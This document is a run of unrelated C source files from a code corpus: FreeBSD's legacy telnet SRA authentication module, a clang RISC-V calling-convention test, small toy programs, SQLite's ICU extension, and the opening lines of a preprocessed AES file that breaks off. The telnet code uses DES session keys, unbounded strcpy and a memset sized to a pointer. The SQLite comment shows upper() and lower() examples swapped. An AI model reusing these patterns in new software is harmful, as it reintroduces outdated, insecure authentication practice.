* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#include <sys/cdefs.h>
#ifdef __FBSDID
__FBSDID("$FreeBSD: src/crypto/telnet/libtelnet/sra.c,v 1.1.2.7 2002/05/16 08:46:49 markm Exp $");
#endif
#ifdef SRA
#ifdef ENCRYPTION
#include <sys/types.h>
#include <arpa/telnet.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <ttyent.h>
#ifndef NOPAM
#include <security/pam_appl.h>
#else
#include <unistd.h>
#endif
#include "auth.h"
#include "misc.h"
#include "encrypt.h"
#include "pk.h"
char pka[HEXKEYBYTES+1], ska[HEXKEYBYTES+1], pkb[HEXKEYBYTES+1];
char *user, *pass, *xuser, *xpass;
DesData ck;
IdeaData ik;
extern int auth_debug_mode;
extern char line[];
static int sra_valid = 0;
static int passwd_sent = 0;
static unsigned char str_data[1024] = { IAC, SB, TELOPT_AUTHENTICATION, 0,
AUTHTYPE_SRA, };
#define SRA_KEY 0
#define SRA_USER 1
#define SRA_CONTINUE 2
#define SRA_PASS 3
#define SRA_ACCEPT 4
#define SRA_REJECT 5
static int check_user(char *, char *);
/* support routine to send out authentication message */
static int
Data(Authenticator *ap, int type, void *d, int c)
{
unsigned char *p = str_data + 4;
unsigned char *cd = (unsigned char *)d;
if (c == -1)
c = strlen((char *)cd);
if (auth_debug_mode) {
printf("%s:%d: [%d] (%d)",
str_data[3] == TELQUAL_IS ? ">>>IS" : ">>>REPLY",
str_data[3],
type, c);
printd(d, c);
printf("\r\n");
}
*p++ = ap->type;
*p++ = ap->way;
*p++ = type;
while (c-- > 0) {
if ((*p++ = *cd++) == IAC)
*p++ = IAC;
}
*p++ = IAC;
*p++ = SE;
if (str_data[3] == TELQUAL_IS)
printsub('>', &str_data[2], p - (&str_data[2]));
return(net_write(str_data, p - str_data));
}
int
sra_init(Authenticator *ap __unused, int server)
{
if (server)
str_data[3] = TELQUAL_REPLY;
else
str_data[3] = TELQUAL_IS;
user = (char *)malloc(256);
xuser = (char *)malloc(513);
pass = (char *)malloc(256);
xpass = (char *)malloc(513);
if (user == NULL || xuser == NULL || pass == NULL || xpass ==
NULL)
return 0; /* malloc failed */
passwd_sent = 0;
genkeys(pka,ska);
return(1);
}
/* client received a go-ahead for sra */
int
sra_send(Authenticator *ap)
{
/* send PKA */
if (auth_debug_mode)
printf("Sent PKA to server.\r\n" );
printf("Trying SRA secure login:\r\n");
if (!Data(ap, SRA_KEY, (void *)pka, HEXKEYBYTES)) {
if (auth_debug_mode)
printf("Not enough room for authentication data\r\n");
return(0);
}
return(1);
}
/* server received an IS -- could be SRA KEY, USER, or PASS */
void
sra_is(Authenticator *ap, unsigned char *data, int cnt)
{
int valid;
Session_Key skey;
if (cnt-- < 1)
goto bad;
switch (*data++) {
case SRA_KEY:
if (cnt < HEXKEYBYTES) {
Data(ap, SRA_REJECT, (void *)0, 0);
auth_finished(ap, AUTH_USER);
if (auth_debug_mode) {
printf("SRA user rejected for bad PKB\r\n");
}
return;
}
if (auth_debug_mode)
printf("Sent pka\r\n");
if (!Data(ap, SRA_KEY, (void *)pka, HEXKEYBYTES)) {
if (auth_debug_mode)
printf("Not enough room\r\n");
return;
}
memcpy(pkb,data,HEXKEYBYTES);
pkb[HEXKEYBYTES] = '\0';
common_key(ska,pkb,&ik,&ck);
return;
case SRA_USER:
/* decode KAB(u) */
if (cnt > 512) /* Attempted buffer overflow */
break;
memcpy(xuser,data,cnt);
xuser[cnt] = '\0';
pk_decode(xuser,user,&ck);
auth_encrypt_user(user);
Data(ap, SRA_CONTINUE, (void *)0, 0);
return;
case SRA_PASS:
if (cnt > 512) /* Attempted buffer overflow */
break;
/* decode KAB(P) */
memcpy(xpass,data,cnt);
xpass[cnt] = '\0';
pk_decode(xpass,pass,&ck);
/* check user's password */
valid = check_user(user,pass);
if(valid) {
Data(ap, SRA_ACCEPT, (void *)0, 0);
skey.data = ck;
skey.type = SK_DES;
skey.length = 8;
encrypt_session_key(&skey, 1);
sra_valid = 1;
auth_finished(ap, AUTH_VALID);
if (auth_debug_mode) {
printf("SRA user accepted\r\n");
}
}
else {
Data(ap, SRA_CONTINUE, (void *)0, 0);
/*
Data(ap, SRA_REJECT, (void *)0, 0);
sra_valid = 0;
auth_finished(ap, AUTH_REJECT);
*/
if (auth_debug_mode) {
printf("SRA user failed\r\n");
}
}
return;
default:
if (auth_debug_mode)
printf("Unknown SRA option %d\r\n", data[-1]);
}
bad:
Data(ap, SRA_REJECT, 0, 0);
sra_valid = 0;
auth_finished(ap, AUTH_REJECT);
}
/* client received REPLY -- could be SRA KEY, CONTINUE, ACCEPT, or REJECT */
void
sra_reply(Authenticator *ap, unsigned char *data, int cnt)
{
char uprompt[256],tuser[256];
Session_Key skey;
size_t i;
if (cnt-- < 1)
return;
switch (*data++) {
case SRA_KEY:
/* calculate common key */
if (cnt < HEXKEYBYTES) {
if (auth_debug_mode) {
printf("SRA user rejected for bad PKB\r\n");
}
return;
}
memcpy(pkb,data,HEXKEYBYTES);
pkb[HEXKEYBYTES] = '\0';
common_key(ska,pkb,&ik,&ck);
enc_user:
/* encode user */
memset(tuser,0,sizeof(tuser));
sprintf(uprompt,"User (%s): ",UserNameRequested);
telnet_gets(uprompt,tuser,255,1);
if (tuser[0] == '\n' || tuser[0] == '\r' )
strcpy(user,UserNameRequested);
else {
/* telnet_gets leaves the newline on */
for(i=0;i<sizeof(tuser);i++) {
if (tuser[i] == '\n') {
tuser[i] = '\0';
break;
}
}
strcpy(user,tuser);
}
pk_encode(user,xuser,&ck);
/* send it off */
if (auth_debug_mode)
printf("Sent KAB(U)\r\n");
if (!Data(ap, SRA_USER, (void *)xuser, strlen(xuser))) {
if (auth_debug_mode)
printf("Not enough room\r\n");
return;
}
break;
case SRA_CONTINUE:
if (passwd_sent) {
passwd_sent = 0;
printf("[ SRA login failed ]\r\n");
goto enc_user;
}
/* encode password */
memset(pass,0,sizeof(pass));
telnet_gets("Password: ",pass,255,0);
pk_encode(pass,xpass,&ck);
/* send it off */
if (auth_debug_mode)
printf("Sent KAB(P)\r\n");
if (!Data(ap, SRA_PASS, (void *)xpass, strlen(xpass))) {
if (auth_debug_mode)
printf("Not enough room\r\n");
return;
}
passwd_sent = 1;
break;
case SRA_REJECT:
printf("[ SRA refuses authentication ]\r\n");
printf("Trying plaintext login:\r\n");
auth_finished(0,AUTH_REJECT);
return;
case SRA_ACCEPT:
printf("[ SRA accepts you ]\r\n");
skey.data = ck;
skey.type = SK_DES;
skey.length = 8;
encrypt_session_key(&skey, 0);
auth_finished(ap, AUTH_VALID);
return;
default:
if (auth_debug_mode)
printf("Unknown SRA option %d\r\n", data[-1]);
return;
}
}
int
sra_status(Authenticator *ap __unused, char *name, int level)
{
if (level < AUTH_USER)
return(level);
if (UserNameRequested && sra_valid) {
strcpy(name, UserNameRequested);
return(AUTH_VALID);
} else
return(AUTH_USER);
}
#define BUMP(buf, len) while (*(buf)) {++(buf), --(len);}
#define ADDC(buf, len, c) if ((len) > 0) {*(buf)++ = (c); --(len);}
void
sra_printsub(unsigned char *data, int cnt, unsigned char *buf, int buflen)
{
char lbuf[32];
int i;
buf[buflen-1] = '\0'; /* make sure its NULL terminated */
buflen -= 1;
switch(data[3]) {
case SRA_CONTINUE:
strncpy((char *)buf, " CONTINUE ", buflen);
goto common;
case SRA_REJECT: /* Rejected (reason might follow) */
strncpy((char *)buf, " REJECT ", buflen);
goto common;
case SRA_ACCEPT: /* Accepted (name might follow) */
strncpy((char *)buf, " ACCEPT ", buflen);
common:
BUMP(buf, buflen);
if (cnt <= 4)
break;
ADDC(buf, buflen, '"');
for (i = 4; i < cnt; i++)
ADDC(buf, buflen, data[i]);
ADDC(buf, buflen, '"');
ADDC(buf, buflen, '\0');
break;
case SRA_KEY: /* Authentication data follows */
strncpy((char *)buf, " KEY ", buflen);
goto common2;
case SRA_USER:
strncpy((char *)buf, " USER ", buflen);
goto common2;
case SRA_PASS:
strncpy((char *)buf, " PASS ", buflen);
goto common2;
default:
sprintf(lbuf, " %d (unknown)", data[3]);
strncpy((char *)buf, lbuf, buflen);
common2:
BUMP(buf, buflen);
for (i = 4; i < cnt; i++) {
sprintf(lbuf, " %d", data[i]);
strncpy((char *)buf, lbuf, buflen);
BUMP(buf, buflen);
}
break;
}
}
static int
isroot(const char *usr)
{
struct passwd *pwd;
if ((pwd=getpwnam(usr))==NULL)
return 0;
return (!pwd->pw_uid);
}
static int
rootterm(char *ttyn)
{
struct ttyent *t;
return ((t = getttynam(ttyn)) && t->ty_status & TTY_SECURE);
}
#ifdef NOPAM
static int
check_user(char *name, char *cred)
{
char *cp;
char *xpasswd, *salt;
if (isroot(name) && !rootterm(line))
{
crypt("AA","*"); /* Waste some time to simulate success */
return(0);
}
if (pw = sgetpwnam(name)) {
if (pw->pw_shell == NULL) {
pw = (struct passwd *) NULL;
return(0);
}
salt = pw->pw_passwd;
xpasswd = crypt(cred, salt);
/* The strcmp does not catch null passwords! */
if (pw == NULL || *pw->pw_passwd == '\0' ||
strcmp(xpasswd, pw->pw_passwd)) {
pw = (struct passwd *) NULL;
return(0);
}
return(1);
}
return(0);
}
#else
/*
* The following is stolen from ftpd, which stole it from the imap-uw
* PAM module and login.c. It is needed because we can't really
* "converse" with the user, having already gone to the trouble of
* getting their username and password through an encrypted channel.
*/
#define COPY_STRING(s) (s ? strdup(s):NULL)
struct cred_t {
const char *uname;
const char *pass;
};
typedef struct cred_t cred_t;
static int
auth_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata)
{
int i;
cred_t *cred = (cred_t *) appdata;
struct pam_response *reply =
malloc(sizeof(struct pam_response) * num_msg);
if (reply == NULL)
return PAM_BUF_ERR;
for (i = 0; i < num_msg; i++) {
switch (msg[i]->msg_style) {
case PAM_PROMPT_ECHO_ON: /* assume want user name */
reply[i].resp_retcode = PAM_SUCCESS;
reply[i].resp = COPY_STRING(cred->uname);
/* PAM frees resp. */
break;
case PAM_PROMPT_ECHO_OFF: /* assume want password */
reply[i].resp_retcode = PAM_SUCCESS;
reply[i].resp = COPY_STRING(cred->pass);
/* PAM frees resp. */
break;
case PAM_TEXT_INFO:
case PAM_ERROR_MSG:
reply[i].resp_retcode = PAM_SUCCESS;
reply[i].resp = NULL;
break;
default: /* unknown message style */
free(reply);
return PAM_CONV_ERR;
}
}
*resp = reply;
return PAM_SUCCESS;
}
/*
* The PAM version as a side effect may put a new username in *name.
*/
static int
check_user(char *name, char *cred)
{
pam_handle_t *pamh = NULL;
const void *item;
int rval;
int e;
cred_t auth_cred = { name, cred };
struct pam_conv conv = { &auth_conv, &auth_cred };
e = pam_start("telnetd", name, &conv, &pamh);
if (e != PAM_SUCCESS) {
syslog(LOG_ERR, "pam_start: %s", pam_strerror(pamh, e));
return 0;
}
#if 0 /* Where can we find this value? */
e = pam_set_item(pamh, PAM_RHOST, remotehost);
if (e != PAM_SUCCESS) {
syslog(LOG_ERR, "pam_set_item(PAM_RHOST): %s",
pam_strerror(pamh, e));
return 0;
}
#endif
e = pam_authenticate(pamh, 0);
switch (e) {
case PAM_SUCCESS:
/*
* With PAM we support the concept of a "template"
* user. The user enters a login name which is
* authenticated by PAM, usually via a remote service
* such as RADIUS or TACACS+. If authentication
* succeeds, a different but related "template" name
* is used for setting the credentials, shell, and
* home directory. The name the user enters need only
* exist on the remote authentication server, but the
* template name must be present in the local password
* database.
*
* This is supported by two various mechanisms in the
* individual modules. However, from the application's
* point of view, the template user is always passed
* back as a changed value of the PAM_USER item.
*/
if ((e = pam_get_item(pamh, PAM_USER, &item)) ==
PAM_SUCCESS) {
strcpy(name, item);
} else
syslog(LOG_ERR, "Couldn't get PAM_USER: %s",
pam_strerror(pamh, e));
if (isroot(name) && !rootterm(line))
rval = 0;
else
rval = 1;
break;
case PAM_AUTH_ERR:
case PAM_USER_UNKNOWN:
case PAM_MAXTRIES:
rval = 0;
break;
default:
syslog(LOG_ERR, "auth_pam: %s", pam_strerror(pamh, e));
rval = 0;
break;
}
if ((e = pam_end(pamh, e)) != PAM_SUCCESS) {
syslog(LOG_ERR, "pam_end: %s", pam_strerror(pamh, e));
rval = 0;
}
return rval;
}
#endif
#endif /* ENCRYPTION */
#endif /* SRA */
|
the_stack_data/176706697.c
|
// RUN: %clang_cc1 -triple riscv64 -emit-llvm %s -o - | FileCheck %s
// RUN: %clang_cc1 -triple riscv64 -target-feature +f -target-abi lp64f -emit-llvm %s -o - \
// RUN: | FileCheck %s
// This file contains test cases that will have the same output for the lp64
// and lp64f ABIs.
#include <stddef.h>
#include <stdint.h>
struct large {
int64_t a, b, c, d;
};
typedef unsigned char v32i8 __attribute__((vector_size(32)));
// Scalars passed on the stack should not have signext/zeroext attributes
// (they are anyext).
// CHECK-LABEL: define{{.*}} signext i32 @f_scalar_stack_1(i32 noundef signext %a, i128 noundef %b, double noundef %c, fp128 noundef %d, <32 x i8>* noundef %0, i8 noundef zeroext %f, i8 noundef %g, i8 noundef %h)
int f_scalar_stack_1(int32_t a, __int128_t b, double c, long double d, v32i8 e,
uint8_t f, int8_t g, uint8_t h) {
return g + h;
}
// Ensure that scalars passed on the stack are still determined correctly in
// the presence of large return values that consume a register due to the need
// to pass a pointer.
// CHECK-LABEL: define{{.*}} void @f_scalar_stack_2(%struct.large* noalias sret(%struct.large) align 8 %agg.result, double noundef %a, i128 noundef %b, fp128 noundef %c, <32 x i8>* noundef %0, i8 noundef zeroext %e, i8 noundef %f, i8 noundef %g)
struct large f_scalar_stack_2(double a, __int128_t b, long double c, v32i8 d,
uint8_t e, int8_t f, uint8_t g) {
return (struct large){a, e, f, g};
}
|
the_stack_data/206392127.c
|
int main(int argc, char** argv) {
if (0xFFFFFFFFFFFFFFFF == 18446744073709551615)
return 42;
else
return 0;
}
|
the_stack_data/199558.c
|
#include <stdio.h>
#include <stdlib.h>
char msg[] = {76, 101, 116, 116, 104, 101, 98, 101, 115, 116, 115, 116, 97,
114, 116, 117, 112, 115, 97, 112, 112, 108, 121, 116, 111, 121, 111, 117, 0};
int main (void) {
fprintf (stderr, "%s\n", msg);
return EXIT_SUCCESS;
}
|
the_stack_data/751.c
|
/*
** 2007 May 6
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
** $Id: icu.c,v 1.7 2007/12/13 21:54:11 drh Exp $
**
** This file implements an integration between the ICU library
** ("International Components for Unicode", an open-source library
** for handling unicode data) and SQLite. The integration uses
** ICU to provide the following to SQLite:
**
** * An implementation of the SQL regexp() function (and hence REGEXP
** operator) using the ICU uregex_XX() APIs.
**
** * Implementations of the SQL scalar upper() and lower() functions
** for case mapping.
**
** * Integration of ICU and SQLite collation sequences.
**
** * An implementation of the LIKE operator that uses ICU to
** provide case-independent matching.
*/
#if !defined(SQLITE_CORE) || defined(SQLITE_ENABLE_ICU)
/* Include ICU headers */
#include <unicode/utypes.h>
#include <unicode/uregex.h>
#include <unicode/ustring.h>
#include <unicode/ucol.h>
#include <assert.h>
#ifndef SQLITE_CORE
#include "sqlite3ext.h"
SQLITE_EXTENSION_INIT1
#else
#include "sqlite3.h"
#endif
/*
** Maximum length (in bytes) of the pattern in a LIKE or GLOB
** operator.
*/
#ifndef SQLITE_MAX_LIKE_PATTERN_LENGTH
# define SQLITE_MAX_LIKE_PATTERN_LENGTH 50000
#endif
/*
** Version of sqlite3_free() that is always a function, never a macro.
*/
static void xFree(void *p){
sqlite3_free(p);
}
/*
** This lookup table is used to help decode the first byte of
** a multi-byte UTF8 character. It is copied here from SQLite source
** code file utf8.c.
*/
static const unsigned char icuUtf8Trans1[] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x00, 0x01, 0x02, 0x03, 0x00, 0x01, 0x00, 0x00,
};
#define SQLITE_ICU_READ_UTF8(zIn, c) \
c = *(zIn++); \
if( c>=0xc0 ){ \
c = icuUtf8Trans1[c-0xc0]; \
while( (*zIn & 0xc0)==0x80 ){ \
c = (c<<6) + (0x3f & *(zIn++)); \
} \
}
#define SQLITE_ICU_SKIP_UTF8(zIn) \
assert( *zIn ); \
if( *(zIn++)>=0xc0 ){ \
while( (*zIn & 0xc0)==0x80 ){zIn++;} \
}
/*
** Compare two UTF-8 strings for equality where the first string is
** a "LIKE" expression. Return true (1) if they are the same and
** false (0) if they are different.
*/
static int icuLikeCompare(
const uint8_t *zPattern, /* LIKE pattern */
const uint8_t *zString, /* The UTF-8 string to compare against */
const UChar32 uEsc /* The escape character */
){
static const int MATCH_ONE = (UChar32)'_';
static const int MATCH_ALL = (UChar32)'%';
int prevEscape = 0; /* True if the previous character was uEsc */
while( 1 ){
/* Read (and consume) the next character from the input pattern. */
UChar32 uPattern;
SQLITE_ICU_READ_UTF8(zPattern, uPattern);
if( uPattern==0 ) break;
/* There are now 4 possibilities:
**
** 1. uPattern is an unescaped match-all character "%",
** 2. uPattern is an unescaped match-one character "_",
** 3. uPattern is an unescaped escape character, or
** 4. uPattern is to be handled as an ordinary character
*/
if( !prevEscape && uPattern==MATCH_ALL ){
/* Case 1. */
uint8_t c;
/* Skip any MATCH_ALL or MATCH_ONE characters that follow a
** MATCH_ALL. For each MATCH_ONE, skip one character in the
** test string.
*/
while( (c=*zPattern) == MATCH_ALL || c == MATCH_ONE ){
if( c==MATCH_ONE ){
if( *zString==0 ) return 0;
SQLITE_ICU_SKIP_UTF8(zString);
}
zPattern++;
}
if( *zPattern==0 ) return 1;
while( *zString ){
if( icuLikeCompare(zPattern, zString, uEsc) ){
return 1;
}
SQLITE_ICU_SKIP_UTF8(zString);
}
return 0;
}else if( !prevEscape && uPattern==MATCH_ONE ){
/* Case 2. */
if( *zString==0 ) return 0;
SQLITE_ICU_SKIP_UTF8(zString);
}else if( !prevEscape && uPattern==uEsc){
/* Case 3. */
prevEscape = 1;
}else{
/* Case 4. */
UChar32 uString;
SQLITE_ICU_READ_UTF8(zString, uString);
uString = u_foldCase(uString, U_FOLD_CASE_DEFAULT);
uPattern = u_foldCase(uPattern, U_FOLD_CASE_DEFAULT);
if( uString!=uPattern ){
return 0;
}
prevEscape = 0;
}
}
return *zString==0;
}
/*
** Implementation of the like() SQL function. This function implements
** the build-in LIKE operator. The first argument to the function is the
** pattern and the second argument is the string. So, the SQL statements:
**
** A LIKE B
**
** is implemented as like(B, A). If there is an escape character E,
**
** A LIKE B ESCAPE E
**
** is mapped to like(B, A, E).
*/
static void icuLikeFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const unsigned char *zA = sqlite3_value_text(argv[0]);
const unsigned char *zB = sqlite3_value_text(argv[1]);
UChar32 uEsc = 0;
/* Limit the length of the LIKE or GLOB pattern to avoid problems
** of deep recursion and N*N behavior in patternCompare().
*/
if( sqlite3_value_bytes(argv[0])>SQLITE_MAX_LIKE_PATTERN_LENGTH ){
sqlite3_result_error(context, "LIKE or GLOB pattern too complex", -1);
return;
}
if( argc==3 ){
/* The escape character string must consist of a single UTF-8 character.
** Otherwise, return an error.
*/
int nE= sqlite3_value_bytes(argv[2]);
const unsigned char *zE = sqlite3_value_text(argv[2]);
int i = 0;
if( zE==0 ) return;
U8_NEXT(zE, i, nE, uEsc);
if( i!=nE){
sqlite3_result_error(context,
"ESCAPE expression must be a single character", -1);
return;
}
}
if( zA && zB ){
sqlite3_result_int(context, icuLikeCompare(zA, zB, uEsc));
}
}
/*
** This function is called when an ICU function called from within
** the implementation of an SQL scalar function returns an error.
**
** The scalar function context passed as the first argument is
** loaded with an error message based on the following two args.
*/
static void icuFunctionError(
sqlite3_context *pCtx, /* SQLite scalar function context */
const char *zName, /* Name of ICU function that failed */
UErrorCode e /* Error code returned by ICU function */
){
char zBuf[128];
sqlite3_snprintf(128, zBuf, "ICU error: %s(): %s", zName, u_errorName(e));
zBuf[127] = '\0';
sqlite3_result_error(pCtx, zBuf, -1);
}
/*
** Function to delete compiled regexp objects. Registered as
** a destructor function with sqlite3_set_auxdata().
*/
static void icuRegexpDelete(void *p){
URegularExpression *pExpr = (URegularExpression *)p;
uregex_close(pExpr);
}
/*
** Implementation of SQLite REGEXP operator. This scalar function takes
** two arguments. The first is a regular expression pattern to compile
** the second is a string to match against that pattern. If either
** argument is an SQL NULL, then NULL Is returned. Otherwise, the result
** is 1 if the string matches the pattern, or 0 otherwise.
**
** SQLite maps the regexp() function to the regexp() operator such
** that the following two are equivalent:
**
** zString REGEXP zPattern
** regexp(zPattern, zString)
**
** Uses the following ICU regexp APIs:
**
** uregex_open()
** uregex_matches()
** uregex_close()
*/
static void icuRegexpFunc(sqlite3_context *p, int nArg, sqlite3_value **apArg){
UErrorCode status = U_ZERO_ERROR;
URegularExpression *pExpr;
UBool res;
const UChar *zString = sqlite3_value_text16(apArg[1]);
(void)nArg; /* Unused parameter */
/* If the left hand side of the regexp operator is NULL,
** then the result is also NULL.
*/
if( !zString ){
return;
}
pExpr = sqlite3_get_auxdata(p, 0);
if( !pExpr ){
const UChar *zPattern = sqlite3_value_text16(apArg[0]);
if( !zPattern ){
return;
}
pExpr = uregex_open(zPattern, -1, 0, 0, &status);
if( U_SUCCESS(status) ){
sqlite3_set_auxdata(p, 0, pExpr, icuRegexpDelete);
}else{
assert(!pExpr);
icuFunctionError(p, "uregex_open", status);
return;
}
}
/* Configure the text that the regular expression operates on. */
uregex_setText(pExpr, zString, -1, &status);
if( !U_SUCCESS(status) ){
icuFunctionError(p, "uregex_setText", status);
return;
}
/* Attempt the match */
res = uregex_matches(pExpr, 0, &status);
if( !U_SUCCESS(status) ){
icuFunctionError(p, "uregex_matches", status);
return;
}
/* Set the text that the regular expression operates on to a NULL
** pointer. This is not really necessary, but it is tidier than
** leaving the regular expression object configured with an invalid
** pointer after this function returns.
*/
uregex_setText(pExpr, 0, 0, &status);
/* Return 1 or 0. */
sqlite3_result_int(p, res ? 1 : 0);
}
/*
** Implementations of scalar functions for case mapping - upper() and
** lower(). Function upper() converts its input to upper-case (ABC).
** Function lower() converts to lower-case (abc).
**
** ICU provides two types of case mapping, "general" case mapping and
** "language specific". Refer to ICU documentation for the differences
** between the two.
**
** To utilise "general" case mapping, the upper() or lower() scalar
** functions are invoked with one argument:
**
** upper('ABC') -> 'abc'
** lower('abc') -> 'ABC'
**
** To access ICU "language specific" case mapping, upper() or lower()
** should be invoked with two arguments. The second argument is the name
** of the locale to use. Passing an empty string ("") or SQL NULL value
** as the second argument is the same as invoking the 1 argument version
** of upper() or lower().
**
** lower('I', 'en_us') -> 'i'
** lower('I', 'tr_tr') -> '\u131' (small dotless i)
**
** http://www.icu-project.org/userguide/posix.html#case_mappings
*/
static void icuCaseFunc16(sqlite3_context *p, int nArg, sqlite3_value **apArg){
const UChar *zInput; /* Pointer to input string */
UChar *zOutput = 0; /* Pointer to output buffer */
int nInput; /* Size of utf-16 input string in bytes */
int nOut; /* Size of output buffer in bytes */
int cnt;
int bToUpper; /* True for toupper(), false for tolower() */
UErrorCode status;
const char *zLocale = 0;
assert(nArg==1 || nArg==2);
bToUpper = (sqlite3_user_data(p)!=0);
if( nArg==2 ){
zLocale = (const char *)sqlite3_value_text(apArg[1]);
}
zInput = sqlite3_value_text16(apArg[0]);
if( !zInput ){
return;
}
nOut = nInput = sqlite3_value_bytes16(apArg[0]);
if( nOut==0 ){
sqlite3_result_text16(p, "", 0, SQLITE_STATIC);
return;
}
for(cnt=0; cnt<2; cnt++){
UChar *zNew = sqlite3_realloc(zOutput, nOut);
if( zNew==0 ){
sqlite3_free(zOutput);
sqlite3_result_error_nomem(p);
return;
}
zOutput = zNew;
status = U_ZERO_ERROR;
if( bToUpper ){
nOut = 2*u_strToUpper(zOutput,nOut/2,zInput,nInput/2,zLocale,&status);
}else{
nOut = 2*u_strToLower(zOutput,nOut/2,zInput,nInput/2,zLocale,&status);
}
if( U_SUCCESS(status) ){
sqlite3_result_text16(p, zOutput, nOut, xFree);
}else if( status==U_BUFFER_OVERFLOW_ERROR ){
assert( cnt==0 );
continue;
}else{
icuFunctionError(p, bToUpper ? "u_strToUpper" : "u_strToLower", status);
}
return;
}
assert( 0 ); /* Unreachable */
}
/*
** Collation sequence destructor function. The pCtx argument points to
** a UCollator structure previously allocated using ucol_open().
*/
static void icuCollationDel(void *pCtx){
UCollator *p = (UCollator *)pCtx;
ucol_close(p);
}
/*
** Collation sequence comparison function. The pCtx argument points to
** a UCollator structure previously allocated using ucol_open().
*/
static int icuCollationColl(
void *pCtx,
int nLeft,
const void *zLeft,
int nRight,
const void *zRight
){
UCollationResult res;
UCollator *p = (UCollator *)pCtx;
res = ucol_strcoll(p, (UChar *)zLeft, nLeft/2, (UChar *)zRight, nRight/2);
switch( res ){
case UCOL_LESS: return -1;
case UCOL_GREATER: return +1;
case UCOL_EQUAL: return 0;
}
assert(!"Unexpected return value from ucol_strcoll()");
return 0;
}
/*
** Implementation of the scalar function icu_load_collation().
**
** This scalar function is used to add ICU collation based collation
** types to an SQLite database connection. It is intended to be called
** as follows:
**
** SELECT icu_load_collation(<locale>, <collation-name>);
**
** Where <locale> is a string containing an ICU locale identifier (i.e.
** "en_AU", "tr_TR" etc.) and <collation-name> is the name of the
** collation sequence to create.
*/
static void icuLoadCollation(
sqlite3_context *p,
int nArg,
sqlite3_value **apArg
){
sqlite3 *db = (sqlite3 *)sqlite3_user_data(p);
UErrorCode status = U_ZERO_ERROR;
const char *zLocale; /* Locale identifier - (eg. "jp_JP") */
const char *zName; /* SQL Collation sequence name (eg. "japanese") */
UCollator *pUCollator; /* ICU library collation object */
int rc; /* Return code from sqlite3_create_collation_x() */
assert(nArg==2);
(void)nArg; /* Unused parameter */
zLocale = (const char *)sqlite3_value_text(apArg[0]);
zName = (const char *)sqlite3_value_text(apArg[1]);
if( !zLocale || !zName ){
return;
}
pUCollator = ucol_open(zLocale, &status);
if( !U_SUCCESS(status) ){
icuFunctionError(p, "ucol_open", status);
return;
}
assert(p);
rc = sqlite3_create_collation_v2(db, zName, SQLITE_UTF16, (void *)pUCollator,
icuCollationColl, icuCollationDel
);
if( rc!=SQLITE_OK ){
ucol_close(pUCollator);
sqlite3_result_error(p, "Error registering collation function", -1);
}
}
/*
** Register the ICU extension functions with database db.
*/
int sqlite3IcuInit(sqlite3 *db){
struct IcuScalar {
const char *zName; /* Function name */
int nArg; /* Number of arguments */
int enc; /* Optimal text encoding */
void *pContext; /* sqlite3_user_data() context */
void (*xFunc)(sqlite3_context*,int,sqlite3_value**);
} scalars[] = {
{"regexp", 2, SQLITE_ANY|SQLITE_DETERMINISTIC, 0, icuRegexpFunc},
{"lower", 1, SQLITE_UTF16|SQLITE_DETERMINISTIC, 0, icuCaseFunc16},
{"lower", 2, SQLITE_UTF16|SQLITE_DETERMINISTIC, 0, icuCaseFunc16},
{"upper", 1, SQLITE_UTF16|SQLITE_DETERMINISTIC, (void*)1, icuCaseFunc16},
{"upper", 2, SQLITE_UTF16|SQLITE_DETERMINISTIC, (void*)1, icuCaseFunc16},
{"lower", 1, SQLITE_UTF8|SQLITE_DETERMINISTIC, 0, icuCaseFunc16},
{"lower", 2, SQLITE_UTF8|SQLITE_DETERMINISTIC, 0, icuCaseFunc16},
{"upper", 1, SQLITE_UTF8|SQLITE_DETERMINISTIC, (void*)1, icuCaseFunc16},
{"upper", 2, SQLITE_UTF8|SQLITE_DETERMINISTIC, (void*)1, icuCaseFunc16},
{"like", 2, SQLITE_UTF8|SQLITE_DETERMINISTIC, 0, icuLikeFunc},
{"like", 3, SQLITE_UTF8|SQLITE_DETERMINISTIC, 0, icuLikeFunc},
{"icu_load_collation", 2, SQLITE_UTF8, (void*)db, icuLoadCollation},
};
int rc = SQLITE_OK;
int i;
for(i=0; rc==SQLITE_OK && i<(int)(sizeof(scalars)/sizeof(scalars[0])); i++){
struct IcuScalar *p = &scalars[i];
rc = sqlite3_create_function(
db, p->zName, p->nArg, p->enc, p->pContext, p->xFunc, 0, 0
);
}
return rc;
}
#if !SQLITE_CORE
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_icu_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
SQLITE_EXTENSION_INIT2(pApi)
return sqlite3IcuInit(db);
}
#endif
#endif
|
the_stack_data/70627.c
|
# 1 "aes/aes.c"
# 1 "aes/aes.c" 1
# 1 "<built-in>" 1
# 1 "<built-in>" 3
# 147 "<built-in>" 3
# 1 "<command line>" 1
# 1 "C:/Xilinx/Vivado/2019.1/common/technology/autopilot\\etc/autopilot_ssdm_op.h" 1
